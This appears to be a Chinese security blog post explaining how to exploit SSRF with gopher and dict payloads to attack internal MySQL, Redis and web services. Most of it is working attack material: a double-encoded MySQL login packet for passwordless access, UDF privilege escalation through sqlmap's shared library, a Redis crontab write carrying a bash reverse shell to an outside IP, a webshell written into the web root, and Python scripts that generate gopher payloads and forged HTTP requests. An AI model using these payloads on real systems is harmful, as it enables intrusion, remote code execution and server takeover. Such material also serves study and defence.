SSRF 攻击内网服务

通过ssrf 针对mysql和redis 进行攻击

Posted by BY Diego on May 27, 2020

一、 SSRF to Mysql

① 无密码登入

利用条件:已知一个无密码账户的用户名。

搭建一个同版本的mysql,创建一个同用户名的无密码账户。 可能需要取消ssl,在配置文件里的[mysqld]下添加skip_ssl

抓包

tcpdump -i lo port 3306 -w mysql.pcapng
mysql -h 127.0.0.1 -u root -p #登入
mysql> show databases;
mysql> exit

分析流量,把login 一条的发送流转化成原始数据 tCGbB6.png

tCGHnx.png

tCGj4e.png

然后将数据url编码

import urllib.parse

data = ''
a = [ data[x:x+2] for x in range(0,len(data),2) ]
res = "%" +"%".join(a)
print(urllib.parse.quote(res))

tCJvZV.png

然后二次编码得到如下

%25c5%2500%2500%2501%2505%25a6%25ff%2501%2500%2500%2500%2501%25ff%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2564%2569%2565%2567%256f%2500%2501%2500%2563%2561%2563%2568%2569%256e%2567%255f%2573%2568%2561%2532%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2586%2504%255f%2570%2569%2564%2505%2532%2535%2536%2534%2536%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%250b%256f%2573%255f%2573%2575%2564%256f%2575%2573%2565%2572%2505%2564%2569%2565%2567%256f%2507%256f%2573%255f%2575%2573%2565%2572%2505%2564%2569%2565%2567%256f%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2538%252e%2530%252e%2532%2530%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2521%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2540%2540%2576%2565%2572%2573%2569%256f%256e%255f%2563%256f%256d%256d%2565%256e%2574%2520%256c%2569%256d%2569%2574%2520%2531%250f%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%250e%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2575%2573%2565%2572%2528%2529%2501%2500%2500%2500%2501

利用 gopher协议 进行ssrf,构造?url=gopher://127.0.0.1:3306/_%2500……

tCJXq0.png

跟正常查询一致 tCJOrq.png

如果权限大 可以任意文件读取或者写webshell tCtApQ.png

② UDF 提权

利用上述方法在一定条件下也可实现

UDF 为 user defined function,及用户自定义函数

具体原理不细说,过程如下我这里利用的sqlmap自带的udf提权文件 位于sqlmap/data/udf/mysql 目录下 tCaQtf.png

现在的so_ 文件是被加密的,需要用sqlmap自带的解密脚本解密 位于qlmap/extra/cloak/cloak.py

python cloak.py -d -i lib_mysqludf_sys.so_ -o udf.so

查看目录 show variables like ‘%plugin%’; 然后把udf.so 放在文件夹下 tCau7t.png 或者通过sql语句 写入(udf.so 转成hex)

select unhex('7F454C...') into dumpfile '目录'

然后加载so

use mysql;
create function sys_eval returns string soname 'udf.so';

查看导入结果

use mysql;
select * from func;

tCan0I.png

tCaMAP.png

二、SSRF to Redis

①未授权操作

若存在未授权的情况下 使用dict 或者 gopher 协议直接操作redis tAvZ0x.png

tAvVn1.png

tAvAXR.png

多语句执行,写计时任务

\n\n\n
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
\n\n\n

二次编码

%250A%250A%250Aset%25201%2520%2522%255Cn%255Cn%255Cn%255Cn*%2520*%2520*%2520*%2520*%2520root%2520whoami%253E%252Ftmp%252Fwhoami%2520%255Cn%255Cn%255Cn%255Cn%2522%250Aconfig%2520set%2520dir%2520%252Fetc%252F%250Aconfig%2520set%2520dbfilename%2520crontab%250Asave%250A%250A%250A

tEBLTS.png

利用gopher 写webshell

监听端口

tcpdump -i lo port 6379 -w redis.pcap

在redis-cli中输入(flushall 用来清除数据 以免其他数据影响) tunXVA.png tunLbd.png

tunqDH.png 得到如下数据(单向)

*1
$7
COMMAND
*1
$8
flushall
*3
$3
set
$1
1
$18
<?php phpinfo();?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
save

具体含义引用别人的图,其中每一个*number代表每一行命令,number代表每行命令中数组中的元素个数。$number代表每个元素的长度。每行以\r\n 结尾 tunv5t.jpg

然后url编码

import urllib
data ='''*1
$7
COMMAND
*1
$8
flushall
*3
$3
set
$1
1
$18
<?php phpinfo();?>
*4
$6
CONFIG
$3
SET
$3
dir
$13
/var/www/html
*4
$6
CONFIG
$3
SET
$10
dbfilename
$9
shell.php
*1
$4
save
'''
print(urllib.quote(urllib.quote(data.replace("\n","\r\n"))))

效果如下(用题举例的) tunjUI.png

知道传输的格式可以直接构造 脚本如下,如果是浏览器需要二次编码

import urllib
protocol="gopher://"
ip="192.168.163.128"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell1.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

三、web 服务攻击

① 模拟post请求

test.php

<?php
var_dump($_POST);
?>

curl 模拟构造想要的post数据

curl http://127.0.0.1:8888/test.php -X POST -d "aa=123456"

tEaXxP.png

url 二次编码

POST%2520/test.php%2520HTTP/1.1%250D%250AHost:%2520127.0.0.1%250D%250AUser-Agent:%2520curl/7.68.0%250D%250AAccept:%2520*/*%250D%250AContent-Length:%25209%250D%250AContent-Type:%2520application/x-www-form-urlencoded%250D%250A%250D%250Aaa=123456

结果如下 tEwDk4.png

写个小脚本 就省去了上述步骤

import sys
import argparse
import urllib


def make_payload(method,page,data):

	if method == 'POST':

		model = '''POST /{0} HTTP/1.1/*diego*/Host: 127.0.0.1:80/*diego*/User-Agent: curl/7.68.0/*diego*/Accept: */*/*diego*/Content-Type: application/x-www-form-urlencoded/*diego*/Cookie: PHPSESSID=diego123/*diego*/Content-Length: {1}/*diego*//*diego*/{2}'''
		length = len(data)
		model = model.replace("/*diego*/","\r\n")
		model = model.format(page, length, data)
		print("\033[1;31m-------------------------http------------------------\033[0m")
		print("")
		print("\033\n[1;36m"+model+"\n\033[0m")
		print("")
		print("\033[1;31m-------------------------payload---------------------\033[0m")
		print("")
		print("\033[1;32m\n"+urllib.quote(urllib.quote(model))+"\n\033[0m")

	if method == 'GET':
		model = '''GET /{0} HTTP/1.1/*diego*/Host: 127.0.0.1:80/*diego*/User-Agent: curl/7.68.0/*diego*/Accept: */*/*diego*/'''
		model = model.replace("/*diego*/","\r\n")
		model = model.format(page)
		print("\033[1;31m-------------------------http------------------------\033[0m")
		print("")
		print("\033\n[1;36m"+model+"\n\033[0m")
		print("")
		print("\033[1;31m-------------------------payload---------------------\033[0m")
		print("")
		print("\033[1;32m\n"+urllib.quote(urllib.quote(model))+"\n\033[0m")


if __name__ == '__main__':

	parser = argparse.ArgumentParser()
	parser.add_argument("-p", "--page", help="Example index.php default", dest="page",default="" )
	parser.add_argument("-d", "--data", help="Example name=1",dest="data")
	parser.add_argument("-m", "--method", help="GET POST",dest="method")
	args = parser.parse_args()

	if args.method == None :
		print("usage: index.py [-h] [-p page] [-d data] [-m method]")
	else:
		if args.method == 'GET':
			make_payload(args.method,args.page,'')
		if args.method == 'POST' and args.data != None:
			make_payload(args.method,args.page,args.data)

aIMeKI.png